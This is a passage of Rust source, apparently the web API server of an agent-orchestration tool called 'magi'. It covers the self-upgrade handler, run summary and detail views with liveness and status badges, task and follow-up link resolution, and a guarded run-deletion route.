3594            Json(UpgradeView {
3595                from,
3596                to: None,
3597                detail: "Already on the newest release. Nothing was parked \
3598                         and nothing restarted."
3599                    .to_owned(),
3600            }),
3601        ));
3602    };
3603
3604    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3605
3606    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3607    // poll must see a `Downloading` stage immediately, not whenever the
3608    // spawned task happens to get scheduled.
3609    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3610    progress.trigger = trigger;
3611    updater::write_progress_logged(&ui.home, &progress);
3612
3613    let home = ui.home.clone();
3614    ui.upgrade_spawned
3615        .store(true, std::sync::atomic::Ordering::SeqCst);
3616    let spawned = Arc::clone(&ui.upgrade_spawned);
3617    let runner = ui.upgrade_runner;
3618    let failed = ui.auto_failed_tag.clone();
3619    let tag = latest.tag_name.clone();
3620    tokio::spawn(async move {
3621        if let Err(e) = runner(home.clone()).await {
3622            if trigger == updater::UpgradeTrigger::Auto {
3623                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3624            }
3625            tracing::error!("the upgrade did not complete: {e:#}");
3626            // A failure of this attempt says nothing about a handover an
3627            // earlier request already has in flight; checked and written
3628            // under the progress lock.
3629            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3630            // Release only after failure bookkeeping, before accepting a retry.
3631            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3632        }
3633    });
3634
3635    Ok((
3636        StatusCode::ACCEPTED,
3637        Json(UpgradeView {
3638            from,
3639            to: Some(latest.tag_name),
3640            detail,
3641        }),
3642    ))
3643}
3644
3645/// Replace the binary, then ask [`serve`] to hand the address over.
3646///
3647/// Separated from the handler so the 202 is already on its way, and separated
3648/// from the spawn so the successor starts only after the listener is dropped.
3649async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3650    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3651    // hang the upgrade for as long as the process lives.
3652    crate::updater::run_self_update(true, false, true).await?;
3653    updater::log_step(&home, "binary replaced - recording the replaced stage");
3654    if let Some(mut progress) = updater::read_progress(&home) {
3655        progress.advance(updater::Stage::Replaced);
3656        updater::write_progress_logged(&home, &progress);
3657    }
3658    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3659    HANDOVER.notify_one();
3660    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3661    Ok(())
3662}
3663
3664/// One row in the run list.
3665///
3666/// The list route returns this rather than whole `RunState`s: the summary of a
3667/// run is a few hundred bytes and the state is megabytes, and the difference
3668/// is what makes the history usable on a mobile link.
3669#[derive(Debug, Serialize)]
3670struct RunSummary {
3671    id: String,
3672    short: String,
3673    status: String,
3674    done: bool,
3675    instruction: String,
3676    title: String,
3677    repo: String,
3678    repo_name: String,
3679    created_at: String,
3680    updated_at: String,
3681    candidates: usize,
3682    viable: usize,
3683    judges: usize,
3684    winner: Option<char>,
3685    reviews: usize,
3686    quota_losses: usize,
3687    event: Option<String>,
3688    /// The later attempt at the same task that replaced this one, if any.
3689    ///
3690    /// Two cards with one title is otherwise unreadable: this is what lets
3691    /// the deck say "superseded by 4043" on the older of the pair.
3692    superseded_by: Option<String>,
3693    /// Blocked on a question nobody has answered.
3694    ///
3695    /// Derived from the question store rather than stored on the run: an agent
3696    /// calling `magi ask` blocks mid-node, and writing a status from there
3697    /// would race the graph's own save of `run.json` and be overwritten at the
3698    /// next node boundary. Asking the store is always true and never races.
3699    waiting: bool,
3700    /// Whether the process recorded as driving this run can still be proven
3701    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3702    /// rather than presenting its last graph node as still in flight.
3703    live: crate::run::Liveness,
3704    /// The land loop's last look at the pull request, when there is one.
3705    pr: Option<crate::run::PrRecord>,
3706    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3707    /// design — never picked up by the PR-polling merge watcher, unlike an
3708    /// ordinary `Ready` that may still be a live landing candidate. See
3709    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3710    /// re-deriving the same check from `status` and `merge.mode` itself.
3711    unmerged_by_design: bool,
3712    /// Derived presentation status matching [`RunDetailView::display_status`].
3713    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3714    #[serde(default)]
3715    display_status: String,
3716    /// What the status badge shows: `display_status`, or `superseded` for a
3717    /// non-live run a later attempt replaced. See [`run_badge_status`].
3718    #[serde(default)]
3719    badge_status: String,
3720    /// Who started the run, as the one label every surface shares; the
3721    /// "origin unknown" wording when the record predates origins.
3722    origin_label: String,
3723}
3724
3725impl RunSummary {
3726    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3727        Self {
3728            id: state.id.clone(),
3729            short: state.short().to_owned(),
3730            status: status_word(state.status),
3731            done: state.status.done(),
3732            unmerged_by_design: state.unmerged_by_design(),
3733            display_status: run_display_status(state, waiting, live),
3734            badge_status: run_display_status(state, waiting, live),
3735            instruction: state.instruction.clone(),
3736            title: title_from(&state.instruction, TITLE_MAX),
3737            repo: state.repo.display().to_string(),
3738            repo_name: state
3739                .repo
3740                .file_name()
3741                .map(|n| n.to_string_lossy().into_owned())
3742                .unwrap_or_default(),
3743            created_at: state.created_at.to_string(),
3744            updated_at: state.updated_at.to_string(),
3745            candidates: state.candidates.len(),
3746            viable: state.viable().len(),
3747            judges: state.config.graph.judges,
3748            winner: state.winner().map(|c| c.label),
3749            reviews: state.reviews.len(),
3750            quota_losses: state.quota.len(),
3751            event: state
3752                .verification_blocking_cause()
3753                .or_else(|| state.events.last().map(|e| e.message.clone())),
3754            waiting,
3755            live,
3756            // Filled in by the list route, which is the only place that can
3757            // see a task's other attempts.
3758            superseded_by: None,
3759            pr: state.pr.clone(),
3760            origin_label: crate::run::origin_label(state.origin.as_ref()),
3761        }
3762    }
3763}
3764
3765/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3766/// the same string `serde` writes for the status inside a full run.
3767fn status_word(status: RunStatus) -> String {
3768    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3769    // was a third way of naming the same statuses, and one that changed
3770    // silently with a derive.
3771    status.as_str().to_owned()
3772}
3773
3774/// The presentation status for a run, unified across summaries and details.
3775///
3776/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3777/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3778/// runs awaiting operator answers.
3779fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3780    if waiting {
3781        return "waiting".to_owned();
3782    }
3783    if state.unmerged_by_design() {
3784        return "unmerged".to_owned();
3785    }
3786    if !state.status.done() && live == crate::run::Liveness::Dead {
3787        // The driver claim clears this flag before saving another event.
3788        // A previous park event can therefore outlive a resumed driver.
3789        if state.parked {
3790            return "parked".to_owned();
3791        }
3792        return "stale".to_owned();
3793    }
3794    status_word(state.status)
3795}
3796
3797/// The word a run's status badge shows: `display_status`, except that a
3798/// non-terminal run which is not provably live and was replaced by a later
3799/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3800///
3801/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3802/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3803/// own word, so superseded never claims more than "not live".
3804fn run_badge_status(
3805    state: &RunState,
3806    display_status: &str,
3807    live: crate::run::Liveness,
3808    superseded: bool,
3809) -> String {
3810    if state.status.done() || live == crate::run::Liveness::Live {
3811        return display_status.to_owned();
3812    }
3813    if superseded {
3814        return "superseded".to_owned();
3815    }
3816    // A dead run's `display_status` is `stale`, except that a deliberate park
3817    // and an open owner question keep their own word: neither is a crash, and
3818    // the question still needs an answer. Anything else dead reads `stale`.
3819    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3820        return "stale".to_owned();
3821    }
3822    display_status.to_owned()
3823}
3824
3825/// `?limit=`, clamped by the handler.
3826#[derive(Debug, Deserialize)]
3827struct ListQuery {
3828    #[serde(default)]
3829    limit: Option<usize>,
3830    /// Exact ids only; an empty value requests no rows (except queue blockers).
3831    ids: Option<String>,
3832}
3833
3834impl ListQuery {
3835    fn contains(&self, id: &str) -> bool {
3836        self.ids
3837            .as_ref()
3838            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3839    }
3840}
3841
3842async fn runs_list(
3843    State(ui): State<Arc<Ui>>,
3844    Query(q): Query<ListQuery>,
3845) -> ApiResult<Json<Vec<RunSummary>>> {
3846    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3847    blocking(move || {
3848        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3849        let states = run_ids(&ui.runs)
3850            .into_iter()
3851            // A run whose state cannot be read is skipped, not fatal: a run
3852            // killed mid-write must not blank the history of every other one.
3853            // The detail route still explains it, which is where an operator
3854            // asking "what happened to that run" ends up.
3855            .filter_map(|id| read_run(&ui.runs, &id).ok())
3856            .take(limit)
3857            .filter(|run| q.contains(&run.id));
3858        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3859        let summaries = summarize(
3860            states,
3861            &open_runs,
3862            &claimed,
3863            &superseded,
3864            |p| probe.borrow_mut().status(p),
3865            |p| probe.borrow_mut().started_at(p),
3866        );
3867        Ok(Json(summaries))
3868    })
3869    .await
3870}
3871
3872/// Everything the per-run rows share, read once: runs with an open question,
3873/// runs a live daemon claims, and the superseded map. Asking per run re-read
3874/// every question file and the daemon status file for each of hundreds of
3875/// runs, and spawned a process probe per run on Windows.
3876fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
3877    let open_runs: HashSet<String> = ui
3878        .questions
3879        .list()
3880        .into_iter()
3881        .filter(|q| q.status.open())
3882        .map(|q| q.run)
3883        .collect();
3884    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
3885        .into_iter()
3886        .map(|c| c.run)
3887        .collect();
3888    (open_runs, claimed, ui.queue.superseded())
3889}
3890
3891/// The rows of the run list, given everything that is shared between them.
3892///
3893/// Pure over its inputs so a test can count how often the process queries are
3894/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
3895/// takes, called at most once per run.
3896fn summarize<I, S, D>(
3897    states: I,
3898    open_runs: &HashSet<String>,
3899    claimed: &HashSet<String>,
3900    superseded: &HashMap<String, String>,
3901    mut status_q: S,
3902    mut identity_q: D,
3903) -> Vec<RunSummary>
3904where
3905    I: IntoIterator<Item = RunState>,
3906    S: FnMut(u32) -> Option<bool>,
3907    D: FnMut(u32) -> Option<String>,
3908{
3909    states
3910        .into_iter()
3911        .map(|state| {
3912            let waiting = open_runs.contains(&state.id);
3913            let live =
3914                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
3915            let mut row = RunSummary::of(&state, waiting, live);
3916            row.superseded_by = state
3917                .pr_taken_over_by
3918                .as_ref()
3919                .or_else(|| superseded.get(&state.id))
3920                .map(String::as_str)
3921                .map(crate::run::short_of)
3922                .map(str::to_owned);
3923            row.badge_status = run_badge_status(
3924                &state,
3925                &row.display_status,
3926                live,
3927                row.superseded_by.is_some(),
3928            );
3929            row
3930        })
3931        .collect()
3932}
3933
3934/// A run as the detail route hands it to the phone.
3935///
3936/// The whole state, flattened, plus `instruction_md`: the Task panel renders
3937/// the instruction as markdown, and the raw `instruction` field this struct
3938/// still carries (unchanged) is what a client wanting the exact bytes reads
3939/// instead.
3940#[derive(Debug, Serialize)]
3941struct RunDetailView {
3942    stop_reason: Option<String>,
3943    #[serde(flatten)]
3944    state: RunState,
3945    instruction_md: Vec<md::Node>,
3946    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
3947    /// mirror the records they come from, index for index; the raw strings
3948    /// stay in `state` and decide whether a block is shown at all.
3949    #[serde(flatten)]
3950    prose_md: RunProseMd,
3951    /// Whether a process is actually still driving this run: `"live"`,
3952    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
3953    ///
3954    /// `state.active` (flattened in above) is only ever cleared by the
3955    /// process that populated it; a killed one leaves its last wave's
3956    /// entries behind. Carrying this alongside is what lets the phone rail
3957    /// tell "this seat is still answering" from "this seat was still
3958    /// answering when whatever was driving this run died" without a second
3959    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
3960    /// proof of either. A string rather than a bool on purpose: a daemon
3961    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
3962    /// and neither proven is `"unknown"` — folding that third case into
3963    /// either end of a bool is exactly the wrong call for a phone screen an
3964    /// operator uses to decide whether to wait or to act.
3965    live: crate::run::Liveness,
3966    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
3967    /// alongside the flattened `state` rather than inside it, since
3968    /// `RunState` has no business knowing which of its own methods a caller
3969    /// wants serialized.
3970    unmerged_by_design: bool,
3971    /// Same field and meaning as [`RunSummary::waiting`].
3972    #[serde(default)]
3973    waiting: bool,
3974    /// Same derived presentation status as [`RunSummary::display_status`].
3975    #[serde(default)]
3976    display_status: String,
3977    /// Same field and meaning as [`RunSummary::badge_status`].
3978    #[serde(default)]
3979    badge_status: String,
3980    /// Same field and meaning as [`RunSummary::done`]: whether the status is
3981    /// terminal. The client's `landView` keys on it, and the flattened state
3982    /// has no such field, so without it a finished run's stale `open` PR
3983    /// would be painted as live on the detail page.
3984    done: bool,
3985    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
3986    /// route fills it from [`Queue::superseded`], the detail route from
3987    /// [`Queue::superseded_by`], and both read the same underlying task
3988    /// order. Without this the detail page could only ever show a red
3989    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
3990    /// with nothing anywhere saying so — an operator opening it had no way
3991    /// to tell "this is done elsewhere" from "this still needs a retry".
3992    superseded_by: Option<String>,
3993    /// The task's current attempt, when this run is an older one — resolved
3994    /// from [`Queue::latest_attempt`] and this run's own state, not left for
3995    /// the client to derive.
3996    ///
3997    /// Three things a client cannot safely do on its own drove this onto the
3998    /// server: it has to name the chain's *current head*, not just the next
3999    /// attempt (`superseded_by` above), because an intermediate retry in a
4000    /// longer chain can itself still be unresolved; it has to resolve to a
4001    /// real id rather than a short id a client would have to guess a full id
4002    /// from, which is ambiguous the moment two runs share a suffix; and it
4003    /// has to read that head's own status directly, because whether a run
4004    /// list a client happens to have cached even contains that attempt
4005    /// depends on a page limit this route knows nothing about.
4006    latest_attempt: Option<LatestAttempt>,
4007    /// The queue task this run belongs to, so the detail page can link back
4008    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4009    task: Option<TaskRef>,
4010    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4011    /// run recorded before origins existed. `origin` itself (flattened in
4012    /// with `state`) is `null` in that case.
4013    origin_label: String,
4014    /// Each recorded pass over this run, with the cause it stopped for. Empty
4015    /// for a run from before passes were kept: its earlier passes are unknown.
4016    pass_views: Vec<PassView>,
4017}
4018
4019/// A task named from a run's detail page.
4020#[derive(Debug, Serialize)]
4021struct TaskRef {
4022    id: String,
4023    short: String,
4024    title: String,
4025    /// [`Source::label`], e.g. `chat@a1b2`.
4026    source_label: String,
4027    /// Where the task came from, when that place has a page; see [`source_link`].
4028    source_link: Option<SourceLink>,
4029    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4030    status: &'static str,
4031    attempts: usize,
4032    max_attempts: usize,
4033    /// This run is the last entry of the task's run list.
4034    is_latest: bool,
4035    /// The task's newest run, when it is not this one.
4036    latest: Option<RunBrief>,
4037    /// The run that finished a `done` task (merged, or already in the base).
4038    finished_by: Option<RunBrief>,
4039    /// The task is `done` but no run on record finished it: closed by hand.
4040    closed_by_hand: bool,
4041}
4042
4043/// The page that filed a task, as the UI links to it.
4044#[derive(Debug, PartialEq, Eq, Serialize)]
4045struct SourceLink {
4046    /// `chat` (a conversation) or `run` (a run's node).
4047    kind: &'static str,
4048    /// The full id, never the short one in the label.
4049    id: String,
4050    /// The hash route that opens it.
4051    href: String,
4052}
4053
4054/// Percent-encode everything outside the URL-unreserved set.
4055fn encode_segment(raw: &str) -> String {
4056    let mut out = String::with_capacity(raw.len());
4057    for b in raw.bytes() {
4058        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4059            out.push(b as char);
4060        } else {
4061            out.push_str(&format!("%{b:02X}"));
4062        }
4063    }
4064    out
4065}
4066
4067/// The one place that decides where a task's source links to. A chat
4068/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4069/// a person or an imported issue has no page, so no link.
4070fn source_link(source: &Source) -> Option<SourceLink> {
4071    let Source::Agent { run, node } = source else {
4072        return None;
4073    };
4074    let (kind, route) = if node == crate::queue::CHAT_NODE {
4075        ("chat", "chat")
4076    } else {
4077        ("run", "runs")
4078    };
4079    Some(SourceLink {
4080        kind,
4081        id: run.clone(),
4082        href: id_links::page_href(route, run),
4083    })
4084}
4085
4086/// The parent task of a follow-up, when its file can still be read.
4087#[derive(Debug, Serialize, PartialEq)]
4088struct FollowUpParent {
4089    id: String,
4090    short: String,
4091    title: String,
4092    /// The parent's own status (`TaskStatus::as_str`).
4093    status: &'static str,
4094    href: String,
4095}
4096
4097/// The merged run a follow-up was filed from.
4098#[derive(Debug, Serialize, PartialEq)]
4099struct FollowUpRun {
4100    id: String,
4101    short: String,
4102    /// `None` when the run's record cannot be read.
4103    status: Option<&'static str>,
4104    /// `None` unless the record could be read: never a dead link.
4105    href: Option<String>,
4106}
4107
4108/// Where a follow-up task came from, resolved once per task page so the flow
4109/// chart and the detail block cannot disagree. See [`followup_origin`].
4110#[derive(Debug, Serialize, PartialEq)]
4111struct FollowUpOrigin {
4112    /// Present only when `origin_task` is set and that task still exists.
4113    parent: Option<FollowUpParent>,
4114    run: FollowUpRun,
4115    /// The merged pull request, verbatim. Not an href: the client passes it
4116    /// through `forgeUrl()` and renders text when that refuses it (the one
4117    /// exception to "the href rule is Rust's alone", since a forge URL is
4118    /// data from a record, not a route).
4119    pr: String,
4120    findings: Vec<String>,
4121    generation: u32,
4122}
4123
4124/// The one place that decides what a follow-up links to. A parent that cannot
4125/// be read (gone, or an id that names nothing) is `None`, never an error.
4126fn followup_origin(
4127    fu: &crate::queue::FollowUp,
4128    task: impl Fn(&str) -> Option<Task>,
4129    run: impl Fn(&str) -> Option<RunState>,
4130) -> FollowUpOrigin {
4131    let parent = fu
4132        .origin_task
4133        .as_deref()
4134        .and_then(task)
4135        .map(|t| FollowUpParent {
4136            short: t.short().to_owned(),
4137            href: format!("#/tasks/{}", encode_segment(&t.id)),
4138            status: t.status.as_str(),
4139            title: t.title,
4140            id: t.id,
4141        });
4142    let state = run(&fu.run);
4143    FollowUpOrigin {
4144        parent,
4145        run: FollowUpRun {
4146            short: run::short_of(&fu.run).to_owned(),
4147            status: state.as_ref().map(|s| s.status.as_str()),
4148            href: state
4149                .is_some()
4150                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4151            id: fu.run.clone(),
4152        },
4153        pr: fu.pr.clone(),
4154        findings: fu.findings.clone(),
4155        generation: fu.generation,
4156    }
4157}
4158
4159/// Another run of the same task, as named from a run's detail page.
4160#[derive(Debug, Serialize)]
4161struct RunBrief {
4162    id: String,
4163    short: String,
4164    /// `None` when the run's record cannot be read.
4165    status: Option<&'static str>,
4166    /// The task-page wording for how that pass ended.
4167    outcome: String,
4168    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4169    badge: Option<String>,
4170}
4171
4172/// The task's overall outcome as seen from `this_run`'s page, classified with
4173/// the same exits the task page's flowchart uses.
4174fn task_outcome(
4175    task: &Task,
4176    this_run: &str,
4177    max_attempts: usize,
4178    read: impl Fn(&str) -> Option<RunState>,
4179) -> TaskRef {
4180    let max_attempts = task.effective_attempt_limit(max_attempts);
4181    let history = task_history(task, read);
4182    let brief = |h: &TaskRunView| RunBrief {
4183        id: h.id.clone(),
4184        short: h.short.clone(),
4185        status: h.status,
4186        outcome: h.exit.edge_label(h.status),
4187        badge: h.badge.clone(),
4188    };
4189    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4190    let latest = if is_latest {
4191        None
4192    } else {
4193        history.last().map(brief)
4194    };
4195    let done = task.status == TaskStatus::Done;
4196    let finished_by = done
4197        .then(|| {
4198            history
4199                .iter()
4200                .rev()
4201                .find(|h| {
4202                    matches!(
4203                        h.exit,
4204                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4205                    )
4206                })
4207                .map(brief)
4208        })
4209        .flatten();
4210    TaskRef {
4211        short: task.short().to_owned(),
4212        title: task.title.clone(),
4213        id: task.id.clone(),
4214        source_label: task.source.label(),
4215        source_link: source_link(&task.source),
4216        status: task.status.as_str(),
4217        attempts: task.attempts,
4218        max_attempts,
4219        is_latest,
4220        latest,
4221        closed_by_hand: done && finished_by.is_none(),
4222        finished_by,
4223    }
4224}
4225
4226/// The task's current attempt, as seen from an older one's detail page.
4227#[derive(Debug, Serialize)]
4228struct LatestAttempt {
4229    id: String,
4230    short: String,
4231    /// Whether this attempt itself settled with a result nobody needs to
4232    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4233    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4234    /// unconfirmed claim that no change was needed, which is exactly why it
4235    /// settles the task through `Held` rather than `Done` and still waits on
4236    /// a human to check the evidence; showing an older run as "finished
4237    /// elsewhere" on the strength of an unverified claim would bury the
4238    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4239    /// in-flight status are excluded because they are exactly the
4240    /// unresolved states this field exists to tell apart from a real finish.
4241    resolved: bool,
4242    /// The attempt's own recorded status, so the page can say where it
4243    /// stands while it is not resolved yet.
4244    status: RunStatus,
4245    /// Whether that status is terminal (nothing is still running it).
4246    done: bool,
4247}
4248
4249/// Markdown for the free-text prose of a run, parallel to `RunState`.
4250#[derive(Debug, Default, Serialize)]
4251struct RunProseMd {
4252    /// `None` when the run has no design deliberation.
4253    advice_md: Option<AdviceMd>,
4254    /// One entry per candidate: the summary.
4255    candidate_summaries_md: Vec<Vec<md::Node>>,
4256    /// One entry per review round, in `reviews` order.
4257    reviews_md: Vec<RoundMd>,
4258}
4259
4260#[derive(Debug, Default, Serialize)]
4261struct AdviceMd {
4262    synthesis: Vec<md::Node>,
4263    /// One per record; empty for a seat with no proposal.
4264    approaches: Vec<Vec<md::Node>>,
4265}
4266
4267#[derive(Debug, Default, Serialize)]
4268struct RoundMd {
4269    /// One per reviewer record.
4270    reviewers: Vec<ReviewerMd>,
4271    /// One per `reconsideration` entry: the reason.
4272    reconsideration: Vec<Vec<md::Node>>,
4273    fix: Option<FixMd>,
4274}
4275
4276#[derive(Debug, Default, Serialize)]
4277struct ReviewerMd {
4278    summary: Vec<md::Node>,
4279    /// One per finding, in recorded order (not the display order).
4280    findings: Vec<Vec<md::Node>>,
4281}
4282
4283#[derive(Debug, Default, Serialize)]
4284struct FixMd {
4285    notes: Vec<md::Node>,
4286    /// One per rejection: the argument.
4287    rejected: Vec<Vec<md::Node>>,
4288}
4289
4290/// Parse a run's agent-written prose; a pure function of the state.
4291fn run_prose_md(state: &RunState) -> RunProseMd {
4292    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4293    RunProseMd {
4294        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4295            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4296            approaches: a
4297                .records
4298                .iter()
4299                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4300                .collect(),
4301        }),
4302        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4303        reviews_md: state
4304            .reviews
4305            .iter()
4306            .map(|round| RoundMd {
4307                reviewers: round
4308                    .reviews
4309                    .iter()
4310                    .map(|rec| ReviewerMd {
4311                        summary: nodes(&rec.summary),
4312                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4313                    })
4314                    .collect(),
4315                reconsideration: round
4316                    .reconsideration
4317                    .iter()
4318                    .map(|rv| nodes(&rv.reason))
4319                    .collect(),
4320                fix: round.fix.as_ref().map(|fix| FixMd {
4321                    notes: nodes(&fix.notes),
4322                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4323                }),
4324            })
4325            .collect(),
4326    }
4327}
4328
4329impl RunDetailView {
4330    fn of(
4331        state: RunState,
4332        waiting: bool,
4333        live: crate::run::Liveness,
4334        superseded_by: Option<String>,
4335        latest_attempt: Option<LatestAttempt>,
4336        task: Option<TaskRef>,
4337    ) -> Self {
4338        let display_status = run_display_status(&state, waiting, live);
4339        let stop_reason = crate::stop_reason::of(
4340            &state,
4341            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4342        );
4343        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4344        Self {
4345            stop_reason,
4346            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4347            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4348            prose_md: run_prose_md(&state),
4349            origin_label: crate::run::origin_label(state.origin.as_ref()),
4350            live,
4351            unmerged_by_design: state.unmerged_by_design(),
4352            waiting,
4353            display_status,
4354            badge_status,
4355            done: state.status.done(),
4356            superseded_by,
4357            latest_attempt,
4358            task,
4359            state,
4360        }
4361    }
4362}
4363
4364/// Core content needs neither the queue nor question/liveness evidence.
4365async fn run_core(
4366    State(ui): State<Arc<Ui>>,
4367    Path(id): Path<String>,
4368) -> ApiResult<Json<RunDetailView>> {
4369    blocking(move || {
4370        let id = resolve_run(&ui.runs, &id)?;
4371        let state = read_run(&ui.runs, &id)?;
4372        Ok(Json(RunDetailView::of(
4373            state,
4374            false,
4375            crate::run::Liveness::Unknown,
4376            None,
4377            None,
4378            None,
4379        )))
4380    })
4381    .await
4382}
4383
4384async fn run_detail(
4385    State(ui): State<Arc<Ui>>,
4386    Path(id): Path<String>,
4387) -> ApiResult<Json<RunDetailView>> {
4388    blocking(move || {
4389        let id = resolve_run(&ui.runs, &id)?;
4390        let state = read_run(&ui.runs, &id)?;
4391        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4392        let live = state.liveness(daemon_claims);
4393        crate::queue::record_ids(ui.questions.root(), "json")?;
4394        let waiting = ui
4395            .questions
4396            .list()
4397            .iter()
4398            .any(|q| q.run == id && q.status.open());
4399        let max_attempts = daemon::Opts::default().max_attempts;
4400
4401        let matching_task = ui.find_task_for_run(&id)?;
4402
4403        let superseded_by = state
4404            .pr_taken_over_by
4405            .clone()
4406            .or_else(|| {
4407                matching_task
4408                    .as_ref()
4409                    .and_then(|t| t.successor_of(&id).cloned())
4410            })
4411            .as_deref()
4412            .map(crate::run::short_of)
4413            .map(str::to_owned);
4414
4415        // Best-effort: an unreadable head (mid-write, or deleted) just means
4416        // this run's own status stands on its own, same as no later attempt
4417        // existing at all.
4418        let latest_attempt = matching_task
4419            .as_ref()
4420            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4421            .and_then(|head_id| {
4422                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4423                    short: head.short().to_owned(),
4424                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4425                    status: head.status,
4426                    done: head.status.done(),
4427                    id: head.id,
4428                })
4429            });
4430
4431        let task = matching_task
4432            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4433
4434        Ok(Json(RunDetailView::of(
4435            state,
4436            waiting,
4437            live,
4438            superseded_by,
4439            latest_attempt,
4440            task,
4441        )))
4442    })
4443    .await
4444}
4445
4446/// `DELETE /api/runs/{id}`.
4447///
4448/// Remove a finished, folded run directory along with its artifacts.
4449/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4450/// deleted. This never touches git worktrees or branches - except for a run
4451/// whose state this build cannot read at all, where there is no candidate
4452/// list to check and the wholesale removal `magi fold` already uses for that
4453/// case is the only meaningful "delete".
4454async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4455    let (id, unreadable) = {
4456        let ui = Arc::clone(&ui);
4457        blocking(move || {
4458            let id = resolve_run(&ui.runs, &id)?;
4459            match read_run(&ui.runs, &id) {
4460                Ok(state) => {
4461                    let in_flight =
4462                        crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4463                    state
4464                        .ensure_can_delete(in_flight)
4465                        .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4466                    let dir = ui.runs.join(&id);
4467                    std::fs::remove_dir_all(&dir)
4468                        .with_context(|| format!("remove run directory {}", dir.display()))?;
4469                    Ok((id, false))
4470                }
4471                Err(_) => {
4472                    // Unreadable: there is no candidate list to guard on, so
4473                    // a live daemon's claim is the only thing left to check -
4474                    // the same rule `run_fold` applies for the same reason.
4475                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4476                        return Err(ApiError::conflict(format!(
4477                            "run {id} is being worked on by a live daemon right now"
4478                        )));
4479                    }
4480                    Ok((id, true))
4481                }
4482            }
4483        })
4484        .await?
4485    };
4486    if unreadable {
4487        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4488            .await
4489            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4490    }
4491    let ui = Arc::clone(&ui);
4492    let done = id.clone();
4493    blocking(move || {
4494        // The agent that asked died with the run, so an open question would
4495        // keep asking the operator for a decision nobody can deliver.
4496        ui.questions.abandon_for_run(
4497            &done,
4498            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4499        )?;
4500        Ok(())
4501    })
4502    .await?;
4503    Ok(StatusCode::NO_CONTENT)
4504}
4505
4506/// `POST /api/runs/{id}/fold`.
4507///
